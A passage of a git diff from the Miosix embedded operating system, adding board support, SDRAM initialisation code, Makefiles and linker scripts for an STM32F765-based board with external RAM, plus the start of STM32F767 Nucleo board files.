000000000..662c5a9fd --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/Makefile.inc @@ -0,0 +1,35 @@ +## +## Makefile for board stm32f765ii_marco_ram_board +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f7 + +## The stm32f767 has the double precision FPU, so we will build for m7 +CPU_FLAGS := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F765II_MARCO_RAM_BOARD +BOARD_CXXFLAGS := -D_BOARD_STM32F765II_MARCO_RAM_BOARD + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG_BIN = $(if $(ROMFS_DIR),image.bin,main.bin) +PROG ?= openocd \ + -f '$(KPATH)/$(BOARD_INC)/openocd.cfg' \ + -c 'program $(PROG_BIN) 0x8000000 verify reset' \ + -c shutdown diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/boot.cpp b/miosix/arch/board/stm32f765ii_marco_ram_board/boot.cpp new file mode 100644 index 000000000..55efd7cbf --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/boot.cpp @@ -0,0 +1,204 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +namespace miosix { + +enum SDRAMModeReg { + BurstLenPos = 0, + BurstLenMask = 7< +static constexpr uint32_t sdramSDTR() noexcept +{ + constexpr float hclk_mhz = cpuFrequency/1000000; + constexpr float t_ns = 1000.0f / (hclk_mhz / (float)div); + constexpr int sdtr_trcd = std::ceil((float)t_rcd_ns / t_ns) - 1; + static_assert(0 <= sdtr_trcd && sdtr_trcd <= 15); + constexpr int sdtr_trp = std::ceil((float)t_rp_ns / t_ns) - 1; + static_assert(0 <= sdtr_trp && sdtr_trp <= 15); + constexpr int sdtr_twr = std::ceil((float)t_wr_ns / t_ns) - 1; + static_assert(0 <= sdtr_twr && sdtr_twr <= 15); + constexpr int sdtr_trc = std::ceil((float)t_rc_ns / t_ns) - 1; + static_assert(0 <= sdtr_trc && sdtr_trc <= 15); + constexpr int sdtr_tras = std::ceil((float)t_ras_ns / t_ns) - 1; + static_assert(0 <= sdtr_tras && sdtr_tras <= 15); + constexpr int sdtr_txsr = std::ceil((float)t_xsr_ns / t_ns) - 1; + static_assert(0 <= sdtr_txsr && sdtr_txsr <= 15); + constexpr int sdtr_tmrd = std::ceil((float)t_mrd_ns / t_ns) - 1; + static_assert(0 <= sdtr_tmrd && sdtr_tmrd <= 15); + return sdtr_trcd << FMC_SDTR1_TRCD_Pos + | sdtr_trp << FMC_SDTR1_TRP_Pos + | sdtr_twr << FMC_SDTR1_TWR_Pos + | sdtr_trc << FMC_SDTR1_TRC_Pos + | sdtr_tras << FMC_SDTR1_TRAS_Pos + | sdtr_txsr << FMC_SDTR1_TXSR_Pos + | sdtr_tmrd << FMC_SDTR1_TMRD_Pos; +} + +template +constexpr uint32_t sdramSDRTR() noexcept +{ + constexpr float hclk_mhz = cpuFrequency/1000000; + constexpr float t_us = 1.0f / (hclk_mhz / (float)div); + constexpr float t_refresh_us = (float)t_refresh_ms * 1000.0f; + constexpr float t_refreshPerRow_us = t_refresh_us / (float)n_rows; + constexpr int sdrtr_count = (std::floor(t_refreshPerRow_us / t_us) - 20) - 1; + static_assert(41 <= sdrtr_count && sdrtr_count <= 0x1FFF); + return sdrtr_count << FMC_SDRTR_COUNT_Pos; +} + +void IRQconfigureSDRAM() +{ + // Enable all gpios used by the FMC + RCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOEEN | + RCC_AHB1ENR_GPIOFEN | RCC_AHB1ENR_GPIOGEN | + RCC_AHB1ENR_GPIOHEN | RCC_AHB1ENR_GPIOIEN; + // Enable SYSCFG + RCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN; + RCC_SYNC(); + // Enable compensation cell + SYSCFG->CMPCR = SYSCFG_CMPCR_CMP_PD; + while (!(SYSCFG->CMPCR & SYSCFG_CMPCR_READY_Msk)) ; + // Set FMC GPIO speed to 100MHz + // port F E D C B A 9 8 7 6 5 4 3 2 1 0 + GPIOD->OSPEEDR = 0b11'11'00'00'00'11'11'11'00'00'00'00'00'00'11'11; + GPIOE->OSPEEDR = 0b11'11'11'11'11'11'11'11'11'00'00'00'00'00'11'11; + GPIOF->OSPEEDR = 0b11'11'11'11'11'00'00'00'00'00'11'11'11'11'11'11; + GPIOG->OSPEEDR = 0b11'00'00'00'00'00'00'11'00'00'11'11'00'11'11'11; + GPIOH->OSPEEDR = 0b11'11'11'11'11'11'11'11'11'11'11'00'11'11'00'10; + GPIOI->OSPEEDR = 0b00'00'00'00'00'11'11'00'11'11'11'11'11'11'11'11; + // Set FMC GPIO to alternate mode + // port F E D C B A 9 8 7 6 5 4 3 2 1 0 + GPIOD->MODER = 0b10'10'00'00'00'10'10'10'00'00'00'00'00'00'10'10; + GPIOE->MODER = 0b10'10'10'10'10'10'10'10'10'00'00'00'00'00'10'10; + GPIOF->MODER = 0b10'10'10'10'10'00'00'00'00'00'10'10'10'10'10'10; + GPIOG->MODER = 0b10'00'00'00'00'00'00'10'00'00'10'10'00'10'10'10; + GPIOH->MODER = 0b10'10'10'10'10'10'10'10'10'10'10'00'10'10'00'10; + GPIOI->MODER = 0b00'00'00'00'00'10'10'00'10'10'10'10'10'10'10'10; + // No need to update PUPD as the default of zero is already correct. + // Set FMC GPIO alternate modes + // port FEDCBA98 76543210 + GPIOD->AFR[1] = 0xcc000ccc; GPIOD->AFR[0] = 0x000000cc; + GPIOE->AFR[1] = 0xcccccccc; GPIOE->AFR[0] = 0xc00000cc; + GPIOF->AFR[1] = 0xccccc000; GPIOF->AFR[0] = 0x00cccccc; + GPIOG->AFR[1] = 0xc000000c; GPIOG->AFR[0] = 0x00cc0ccc; + GPIOH->AFR[1] = 0xcccccccc; GPIOH->AFR[0] = 0xccc0cc0c; + GPIOI->AFR[1] = 0x00000cc0; GPIOI->AFR[0] = 0xcccccccc; + + // Power on FMC + RCC->AHB3ENR = RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + // Program memory device features and timings for 8 paralleled + // IS42S86400D-7TLI chips + constexpr int clockDiv = 3; + constexpr int casLatency = 2; + uint32_t sdcr = + (3 << FMC_SDCR1_NC_Pos) // 11 column address bits + | (2 << FMC_SDCR1_NR_Pos) // 13 row address bits + | (2 << FMC_SDCR1_MWID_Pos) // 32 bit data bus + | (1 << FMC_SDCR1_NB_Pos) // 4 internal banks + | (casLatency << FMC_SDCR1_CAS_Pos) + | (0 << FMC_SDCR1_WP_Pos) // write allowed + | (clockDiv << FMC_SDCR1_SDCLK_Pos) // clock = HCLK / clockDiv + | (1 << FMC_SDCR1_RBURST_Pos) // burst mode on/off + | (0 << FMC_SDCR1_RPIPE_Pos); // delay after reading + FMC_Bank5_6->SDCR[0] = sdcr; + FMC_Bank5_6->SDCR[1] = sdcr; + uint32_t sdtr = sdramSDTR< + clockDiv, + 20, // Row to column delay (t_RCD) + 20, // Row precharge delay (t_RP) + 14, // Write to precharge delay (t_WR) (ISSI denotes this as t_DPL) + 70, // Row cycle delay (t_RC) + 49, // Self-refresh time (t_RAS) + 77, // Exit self-refresh delay (t_XSR) + 14 // Load mode register to active (t_MRD) + >(); + FMC_Bank5_6->SDTR[0] = sdtr; + FMC_Bank5_6->SDTR[1] = sdtr; + // Send init command and wait for powerup + FMC_Bank5_6->SDCMR = (1 << FMC_SDCMR_MODE_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; + while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; + miosix::delayUs(200); // see RAM datasheet p.21 for wait time + // Precharge all banks + FMC_Bank5_6->SDCMR = (2 << FMC_SDCMR_MODE_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; + while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; + // Issue 8 auto-refresh commands (see RAM datasheet p.21 for number of refreshes) + FMC_Bank5_6->SDCMR = (3 << FMC_SDCMR_MODE_Pos) | (7 << FMC_SDCMR_NRFS_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; + while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; + // Issue mode register set command + uint32_t mrd = + SDRAMModeReg::BurstLen1 + | SDRAMModeReg::BurstTypeSequential + | (casLatency << SDRAMModeReg::LatencyPos) + | SDRAMModeReg::ModeNormal + | SDRAMModeReg::WriteBurstModeSingle; + FMC_Bank5_6->SDCMR = (4 << FMC_SDCMR_MODE_Pos) | (mrd << FMC_SDCMR_MRD_Pos) | FMC_SDCMR_CTB1 | FMC_SDCMR_CTB2; + while (FMC_Bank5_6->SDSR & FMC_SDSR_BUSY) ; + // Program refresh rate + FMC_Bank5_6->SDRTR = sdramSDRTR< + clockDiv, + 8192, // Number of rows + 64 // Refresh cycle time (ms) + >(); +} + +void IRQmemoryAndClockInit() +{ + SystemInit(); + IRQconfigureSDRAM(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..2aa20bc0f --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,26 @@ +#pragma once + +// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +// includes core_cm7.h. Do not include core_cm7.h before. +#define STM32F765xx +#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f76x,f77x RCC synchronization is required per the reference manual +//(RM0410 section 5.2.12). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 109, so there are 110 +#define MIOSIX_NUM_PERIPHERAL_IRQ 110 diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..026df7719 --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp.cpp @@ -0,0 +1,134 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include "interfaces_private/bsp_private.h" + +#include +#include +#include +#include "interfaces/bsp.h" +#include "board_settings.h" +#include "miosix_settings.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "filesystem/console/console_device.h" +#include "filesystem/file_access.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "kernel/thread.h" +#include "kernel/logging.h" +#include "kernel/sync.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + // Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | + RCC_AHB1ENR_GPIOIEN; + RCC_SYNC(); + + // Default to 50MHz speed for all GPIOS except FMC + // port F E D C B A 9 8 7 6 5 4 3 2 1 0 + GPIOA->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; + GPIOB->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; + GPIOC->OSPEEDR = 0b10'10'10'10'10'10'10'10'10'10'10'10'10'10'10'10; + GPIOD->OSPEEDR |= 0b00'00'10'10'10'00'00'00'10'10'10'10'10'10'00'00; + GPIOE->OSPEEDR |= 0b00'00'00'00'00'00'00'00'00'10'10'10'10'10'00'00; + GPIOF->OSPEEDR |= 0b00'00'00'00'00'10'10'10'10'10'00'00'00'00'00'00; + GPIOG->OSPEEDR |= 0b00'10'10'10'10'10'10'10'10'10'00'00'10'00'00'00; + GPIOH->OSPEEDR |= 0b00'00'00'00'00'00'00'00'00'00'00'10'00'00'10'10; + GPIOI->OSPEEDR |= 0b00'00'00'00'10'00'00'10'00'00'00'00'00'00'00'00; + + led1::mode(Mode::OUTPUT); + led2::mode(Mode::OUTPUT); + btn0::mode(Mode::INPUT); + btn1::mode(Mode::INPUT); + btn2::mode(Mode::INPUT); + btn3::mode(Mode::INPUT); + sdmmcCD::mode(Mode::INPUT); + sdmmcWP::mode(Mode::INPUT); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..970dfec13 --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/interfaces-impl/bsp_impl.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*************************************************************************** + * bsp_impl.h Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Board pin definition + */ +using led1 = Gpio; +using led2 = Gpio; +using btn0 = Gpio; // SW504 +using btn1 = Gpio; // SW503 +using btn2 = Gpio; // SW502 +using btn3 = Gpio; // SW501 +using sdmmcCD = Gpio; +using sdmmcWP = Gpio; + +inline void ledOn() +{ + led1::high(); +} + +inline void ledOff() +{ + led1::low(); +} + +inline void led1On() { led1::high(); } + +inline void led1Off() { led1::low(); } + +inline void led2On() { led2::high(); } + +inline void led2Off() { led2::low(); } + +/** + * Polls the SD card sense GPIO. + * + * This board has a Hirose DM1A SD card connector with external pullup for the + * card detect pin, which is shorted to ground when a card is inserted. + */ +inline bool sdCardSense() +{ + return !sdmmcCD::value(); +} + +/** +\} +*/ + +} // namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/openocd.cfg b/miosix/arch/board/stm32f765ii_marco_ram_board/openocd.cfg similarity index 100% rename from miosix/arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board/openocd.cfg rename to miosix/arch/board/stm32f765ii_marco_ram_board/openocd.cfg diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/processes-xram.ld b/miosix/arch/board/stm32f765ii_marco_ram_board/processes-xram.ld new file mode 100644 index 000000000..0c1da96ae --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/processes-xram.ld @@ -0,0 +1,31 @@ +/* + * Linker script for stm32f765 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* NOTE: _process_pool_size cannot be defined as all of ram2 is used */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram1(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram1(wx) : ORIGIN = 0x20020000, LENGTH = 384K + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 256M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/processes.ld b/miosix/arch/board/stm32f765ii_marco_ram_board/processes.ld new file mode 100644 index 000000000..4c98bc1d6 --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/processes.ld @@ -0,0 +1,33 @@ +/* + * Linker script for stm32f765 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 256K; + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +/* + * The bsp of this board always enables XRAM, so mark its existence in all + * linker scripts to enforce kernel-level W^X + */ +_xram_start = 0xd0000000; +_xram_size = 256M; + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram-heap.ld b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram-heap.ld new file mode 100644 index 000000000..fb3653824 --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram-heap.ld @@ -0,0 +1,27 @@ +/* + * Linker script for stm32f765 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram1(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram1(wx) : ORIGIN = 0x20020000, LENGTH = 384K + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 256M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram.ld b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram.ld new file mode 100644 index 000000000..e830ae32a --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel-xram.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f765 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Then there's 384K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 256M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel.ld b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel.ld new file mode 100644 index 000000000..f1f6ed817 --- /dev/null +++ b/miosix/arch/board/stm32f765ii_marco_ram_board/unikernel.ld @@ -0,0 +1,29 @@ +/* + * Linker script for stm32f765 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +/* + * The bsp of this board always enables XRAM, so mark its existence in all + * linker scripts to enforce kernel-level W^X + */ +_xram_start = 0xd0000000; +_xram_size = 256M; + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f767zi_nucleo/CMakeLists.txt b/miosix/arch/board/stm32f767zi_nucleo/CMakeLists.txt new file mode 100644 index 000000000..81a805060 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/CMakeLists.txt @@ -0,0 +1,39 @@ +## +## CMakeLists.txt for board stm32f767zi_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f7) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+dp/hard) + +# The stm32f767 has the double precision FPU, so we will build for m7 +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F767ZI_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F767ZI_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f767zi_nucleo/Makefile.inc b/miosix/arch/board/stm32f767zi_nucleo/Makefile.inc new file mode 100644 index 000000000..91ed3bc72 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f767zi_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f7 + +## The stm32f767 has the double precision FPU, so we will build for m7 +CPU_FLAGS := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F767ZI_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32F767ZI_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f767zi_nucleo/boot.cpp b/miosix/arch/board/stm32f767zi_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..8bd99f4a7 --- /dev/null +++ b/miosix/arch/board/stm32f767zi_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,26 @@ +#pragma once + +// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +// includes core_cm7.h. Do not include core_cm7.h before. +#define STM32F767xx 